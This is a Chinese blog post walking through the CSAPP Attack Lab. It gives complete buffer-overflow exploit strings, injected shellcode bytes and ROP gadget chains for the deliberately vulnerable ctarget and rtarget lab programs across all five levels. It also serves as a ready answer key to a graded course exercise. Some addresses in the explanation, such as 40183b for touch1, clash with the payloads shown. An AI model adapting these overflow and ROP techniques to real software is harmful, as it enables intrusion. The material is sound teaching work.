《深入理解计算机系统》(CSAPP)实验四 —— Attack Lab
这是CSAPP的第四个实验,这个实验比较有意思,也比较难。通过这个实验我们可以更加熟悉GDB的使用和机器代码的栈和参数传递机制。
@
实验目的
本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。通过完成本实验达到:
深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
深入理解x86-64机器代码的栈和参数传递机制。
深入理解x86-64指令的编码方式。
熟练使用gdb和objdump等调试工具。
更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。
做本次实验之前,建议好好阅读下本篇博文 面试官不讲武德,居然让我讲讲蠕虫和金丝雀!,理解缓冲区溢出时函数的返回值是如何被修改和精准定位的。
准备工作
在官网下载得到实验所需文件解压后会得到五个不同的文件。对六个文件简要说明如下所示。
README.txt:描述文件夹目录
ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw:一个生成攻击字符串的工具。
HEX2RAW期望由一个或多个空格分隔的两位十六进制值。所以如果你想创建一个十六进制值为0的字节,需要将其写为00。要创建单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请注意,小字节序需要反转)。
编译环境:Ubuntu 16.04,gcc 5.4.0。
注意:由于我们使用的是外网编译,所以在运行程序时加上-q参数。
内容简介
CTARGET和RTARGET从标准输入中读取字符串,使用的getbuf函数如下所示。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
函数Gets()类似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。字符串不能包含字节值0x0a,这是换行符 \n 的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。
如果用户输入并由getbuf读取的字符串足够短,则很明显getbuf将返回1,如以下执行示例所示:

当输入一个很长的字符串时,将会出现段错误,具体如下图所示:

如上图所示,出现了缓冲区溢出错误。我们可以利用缓冲区溢出来修改程序的返回值,使它指向我们要求的地址来完成攻击。
CTARGET和RTARGET都采用几个不同的命令行参数:
-h:打印可能的命令行参数列表
-q:本地测评,不要将结果发送到评分服务器
-i FILE:提供来自文件的输入,而不是来自标准输入的输入
代码注入攻击
Level 1
对于第1个例程,将不会注入新代码,而是缓冲区溢出漏洞利用字符串将重定向程序来执行现有程序。在CTARGET文件中中调用了函数getbuf。当getbuf执行完return语句后,程序通常会接着向下执行第5行的内容。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
如果我们想改变这种行为。在文件ctarget中,我们要把getbuf函数的返回值指向函数touch1,touch1代码如下所示:
void touch1()
{
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
执行 objdump -d rtarget > rtarget.d 命令,将rtarget反汇编看下getbuf和touch1的反汇编代码。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp # 开辟40字节的空间
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 ac 03 00 00 callq 401b60 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq # 正常返回,跳转到test函数的第5行继续执行
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc <vlevel>
4017cb: 00 00 00
4017ce: bf e5 31 40 00 mov $0x4031e5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 cb 05 00 00 callq 401dad <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
由上述反汇编代码可以知道,我们只要修改getbuf结尾处的ret指令,将其指向touch1函数的起始地址40183b就可以。要想将其准确指向40183b,要首先将getbuf的40字节内容填充满,使其溢出,再将40183b覆盖getbuf原来的返回地址即可。(这里不明白的可以看下文章面试官不讲武德,居然让我讲讲蠕虫和金丝雀!)
攻击字符串如下所示,命名为attack1.txt。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
执行以下指令进行测试
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt

Level 2
第2阶段涉及注入少量代码作为攻击字符串的一部分。在文件ctarget中,touch2的代码如下所示:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
反汇编如下所示:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx # val存在%rdi中
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 8b 05 00 00 callq 401dad <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 30 32 40 00 mov $0x403230,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 2d 06 00 00 callq 401e6f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
Level 2 和 Level 1 差别主要在Level 2 多了一个val参数,我们在跳转到Level 2 时,还要将其参数传递过去,让他认为是自己的cookie 0x59b997fa。
因此,我们首先要将0x59b997fa赋值给%rdi,完成参数的传递。如何完成程序的跳转呢?在第一次ret的时候,将ret地址写为我们写好的攻击代码,在攻击代码中,将touch2的地址0x4017ec 压栈,汇编代码再ret到touch2。我们能完成这个攻击的前提是这个具有漏洞的程序在运行时的栈地址是固定的,不会因运行多次而改变,并且这个程序允许执行栈中的代码。汇编代码如下所示:
mov $0x59b997fa,%rdi
pushq $0x4017ec #压栈,ret时会将0x4017ec弹出执行
ret
使用如下指令将汇编代码反汇编
gcc -c attack2.s
objdump -d attack2.o > attack2.d
反汇编代码如下所示:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
内存中存储这段代码的地方便是getbuf开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。

注意:缓冲区地址为0x5561dca0(栈底),因为分配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),所以地址最终要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)以致溢出。
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
最终测试结果正确

Level 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
/**/
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
与之前的类似,在getbuf函数返回的时候,执行touch3而不是test。touch3函数传入的是cookie的字符串表示。因此,我们要将%rdi设置为cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 58 32 40 00 mov $0x403258,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 72 04 00 00 callq 401dad <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 80 32 40 00 mov $0x403280,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 11 05 00 00 callq 401e6f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
在touch3中调用了hexmatch函数,这个函数中又开辟了110个字节的空间。如果我们把cookie放在栈中,执行hexmatch函数可能会把cookie的数据覆盖掉。我们可以直接通过植入指令来修改%rsp栈指针的值。
fa 18 40 00 00 00 00 00 #touch3的地址
bf 90 dc 61 55 48 83 ec #mov edi, 0x5561dc90
30 c3 00 00 00 00 00 00 #sub rsp, 0x30 ret
35 39 62 39 39 37 66 61 #cookie
00 00 00 00 00 00 00 00
80 dc 61 55 #stack top的地址+8

返回导向编程攻击
对程序RTARGET进行代码注入攻击比对CTARGET进行难度要大得多,因为它使用两种技术来阻止此类攻击:
它使用栈随机化,以使堆栈位置在一次运行与另一次运行中不同。这使得不可能确定注入代码的位置。
它会将保存堆栈的内存部分标记为不可执行,因此,即使可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败。

幸运的是,聪明的人已经设计出了通过执行程序来在程序中完成有用的事情的策略。使用现有代码,而不是注入新代码。常用的是ROP策略, ROP的策略是识别现有程序中的字节序列,由一个或多个指令后跟指令ret组成。这种段称为gadget.。图2说明了如何设置堆栈以执行n个gadget的序列。在此图中,堆栈包含一系列gadget地址。每个gadget都包含一系列指令字节,其中最后一个是0xc3,对ret指令进行编码。当程序从该配置开始执行ret指令时,它将启动一系列gadget执行,其中ret指令位于每个gadget的末尾,从而导致程序跳至下一个开始。通过不断的跳转,拼凑出自己想要的结果来进行攻击的方式。(简单来说:就是利用现有程序的汇编代码,从不同的函数中挑选出自己想要的代码,通过不断跳转的方式将这些代码拼接起来组成我们需要的代码。)
下面是实验手册给出的部分指令所对应的字节码,我们需要在rtarget文件中挑选这些指令去执行之前level2和level3的攻击。


Level 2
这个实验与之前的Level 2 很相似,所以我们要做的就是将cookie的值赋值给%rdi,执行touch2。但是本题使用的是ROP攻击形式,不可能直接有movq $ 0x59b997fa,%rdi这样的代码。Write up提示可以用movq, popq等来完成这个任务。因此我们可以把 $0x59b997fa放在栈中,再popq %rdi,利用popq我们可以把数据从栈中转移到寄存器中,而这个恰好是我们所需要的。代码有了,那我们就去寻找gadget。
思路确定了,接下来只需要根据Write up提供的encoding table来查找popq对应encoding是否在程序中出现了。很容易找到popq %rdi对应的编码5f在这里出现,并且下一条就是ret:
402b18: 41 5f pop %r15
402b1a: c3 retq
所以答案就是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2
运行下结果如下所示

Level 3
这个实验是在之前Level3的基础上又增加了一个难度,具体要求是要用ROP跳转到touch3,并且传入一个和cookie一样的字符串。因为栈是随机化的,那么我们如何在栈地址随机化的情况下去获取我们放在栈中的字符串的首地址呢?我们只能通过操作%rsp的值来改变位置。在之前的Level 3 实验中也提到过,touch3函数会调用hexmatch函数,在hexmatch中会开辟110个字节的空间,如果字符串放在touch3函数返回地址的上方,那么cookie一定会被覆盖。因此,我们应该放在更高一点的位置,即使得hexmatch函数新开辟空间也够不到cookie字符串。所以,字符串的地址一定是%rsp 加上一个数。
可是WriteUp里给的encoding table都是mov pop nop 双编码等指令,并没有加法,但是gadget farm中有一条自带的指令,具体如下所示:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax # %rax = %rdi + %rsi
4019da: c3 retq
我们可以通过这个函数来实现加法,因为lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。所以,只要能够让%rdi和%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie存放的地址,然后把这个地址mov到%rdi就大功告成了。
对应Write up里面的encoding table会发现,从%rax并不能直接mov到%rsi,而只能通过%eax->%edx->%ecx->%esi来完成这个。所以,兵分两路:
1.把%rsp存放到%rdi中
2.把偏移值(需要确定指令数后才能确定)存放到%rsi中
然后,再用lea那条指令把这两个结果的和存放到%rax中,再movq到%rdi中就完成了。
值得注意的是,上面两路完成任务的寄存器不能互换,因为从%eax到%esi这条路线上面的mov都是4个byte的操作,如果对%rsp的值采用这条路线,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。
最后结果:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 #movq %rsp, %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
ab 19 40 00 00 00 00 00 #popq %rax
48 00 00 00 00 00 00 00 #偏移值
dd 19 40 00 00 00 00 00 #mov %eax, %edx
34 1a 40 00 00 00 00 00 #mov %edx, %ecx
13 1a 40 00 00 00 00 00 #mov %ecx, %esi
d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
fa 18 40 00 00 00 00 00 #touch3
35 39 62 39 39 37 66 61 #cookie
参考https://zhuanlan.zhihu.com/p/36807783
测试结果如下:

总结
这几个实验挺有意思的,体验了一把黑客的感觉。最后一个实验还是有难度的,自己也参考网上其他人的解法。通过本次实验也加强了自己对函数调用栈,字节序,GDB,汇编的理解。X86有些指令用多了也就记住了,不需要刻意去记,熟能生巧!
养成习惯,先赞后看!如果觉得写的不错,欢迎关注,点赞,转发,谢谢!
有任何问题,均可通过公告中的二维码联系我
《深入理解计算机系统》(CSAPP)实验四 —— Attack Lab的更多相关文章
- 《深入理解计算机系统》实验一 —Data Lab
本文是CSAPP第二章的配套实验,通过使用有限的运算符来实现正数,负数,浮点数的位级表示.通过完成这13个函数,可以使我们更好的理解计算机中数据的编码方式. 准备工作 首先去官网Lab Assig ...
- 《深入理解计算机系统》实验三 —— Buf Lab
这是CSAPP的第三个实验,主要让我们熟悉GDB的使用,理解程序栈帧的结构和缓冲区溢出的原理. 实验目的 本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解.实验的主要内容是对一个可执 ...
- 《深入理解计算机系统》实验二 —— Bomb Lab
这是CSAPP的第二个实验,主要让我们理解代码的机器级表示,最重要的是理解每个寄存器的作用以及如何使用这些寄存器.本次的实验内容有点晦涩难懂,对于这些内容多看下习惯就好了. 本次实验中的bomb文 ...
- <深入理解计算机系统> CSAPP Tiny web 服务器
本文是我学习<深入理解计算机系统>中网络编程部分的学习笔记. 1. Web基础 web客户端和服务器之间的交互使用的是一个基于文本的应用级协议HTTP(超文本传输协议).一个w ...
- 深入理解计算机系统 BombLab 实验报告
又快有一个月没写博客了,最近在看<深入理解计算机系统>这本书,目前看完了第三章,看完这章,对程序的机器级表示算是有了一个入门,也对 C 语言里函数栈帧有了一个初步的理解. 为了加深对书本内 ...
- 深入理解计算机系统_3e 第四章家庭作业(部分) CS:APP3e chapter 4 homework
4.52以后的题目中的代码大多是书上的,如需使用请联系 randy.bryant@cs.cmu.edu 更新:关于编译Y86-64中遇到的问题,可以参考一下CS:APP3e 深入理解计算机系统_3e ...
- 深入理解计算机系统 (CS:APP) Lab2 - Bomb Lab 解析
原文地址:https://billc.io/2019/04/csapp-bomblab/ 写在前面 CS:APP是这学期的一门硬核课程,应该是目前接触到最底层的课程了.学校的教学也是尝试着尽量和CMU ...
- 【深入理解计算机系统CSAPP】第六章 存储器层次结构
6 存储器层次结构 存储器系统(memory system)是一个具有不同容量.成本和访问时间的存储设备的层次结构.CPU 寄存器保存着最常用的数据.靠近 CPU 的小的.快速的高速缓存存储器(cac ...
- csapp 深入理解计算机系统 csapp.h csapp.c文件配置
转载自 http://condor.depaul.edu/glancast/374class/docs/csapp_compile_guide.html Compiling with the CS ...
- 深入理解计算机系统项目之 Shell Lab
博客中的文章均为meelo原创,请务必以链接形式注明本文地址 Shell Lab是CMU计算机系统入门课程的一个实验.在这个实验里你需要实现一个shell,shell是用户与计算机的交互界面.普通意义 ...
随机推荐
- C#12新功能有哪些?
前言 作为.NET 8发布会的一部分,微软于11月14日发布了C#12的新功能,这也是目前.NET的最新版本.正如之前公布的那样,最显著的改进包括了集合表达式.主构造函数.任何类型的别名以及lambd ...
- [CF1168C] And Reachability
And Reachability 题面翻译 题目描述 Toad Pimple 有一个整数数组 \(a_1,\dots,a_n\). 当 \(x < y\) 且存在 \(x = p_1 < ...
- [洛谷P8867] [NOIP2022] 建造军营
[NOIP2022] 建造军营 题目描述 A 国与 B 国正在激烈交战中,A 国打算在自己的国土上建造一些军营. A 国的国土由 \(n\) 座城市组成,\(m\) 条双向道路连接这些城市,使得任意两 ...
- 【matlab混沌理论】1.4.双摆杆的不同参数模型
双摆杆运动模型.初始条件的微小差异,会导致千差万别的运动现象,这是混沌理论重要体现.主要考虑初始条件有两摆杆长度.质量.初始摆杆角度.重力加速度. input: % 参数定义 L1 = 1; % 第一 ...
- MySQL运维6-Mycat垂直分库
一.垂直分库场景 场景:在业务系统中,涉及一下表结构,但是由于用户与订单每天都会产生大量的数据,单台服务器的数据存储以及处理能力是有限的,可以对数据库表进行拆分,原有数据库如下 说明1:整个业务系统中 ...
- 聊聊流式数据湖Paimon(一)
翻译自 Apache Paimon官方文档 概览 概述 Apache Paimon (incubating) 是一项流式数据湖存储技术,可以为用户提供高吞吐.低延迟的数据摄入.流式订阅以及实时查询能力 ...
- 三维GIS渲染引擎盘点,以Cesium为核心的拓展优化
目前,以Cesium为核心的各类产品繁多,本文将挑选一些以Cesium为核心的软件案例,为大家进行介绍. 1. CesiumJS CesiumJS相信凡是GIS行业相关人员都特别熟悉了,CesiumJ ...
- 23年底,我出齐了Spring boot,Spring cloud和案例方面的书,正在写一本面试书(代年终总结)
年末了,再来总结一下吧,希望本人明年的年终总结文还能在博客园发. 这次总结的主题是本人出的java书.这几年本人出了不少书,其中有python.redis和Java方面的. 姑且不说其它,java方面 ...
- MYSQL数据库root账户密码忘记,如何重置?
- 文心一言 VS 讯飞星火 VS chatgpt (35)-- 算法导论5.3 5题
五.证明:在过程 PERMUTE-BY-SORTING的数组 P中,所有元素都唯一的概率至少是1-1/n. 文心一言: 证明: 在过程PERMUTE-BY-SORTING中,对于输入数组P中的每个元素 ...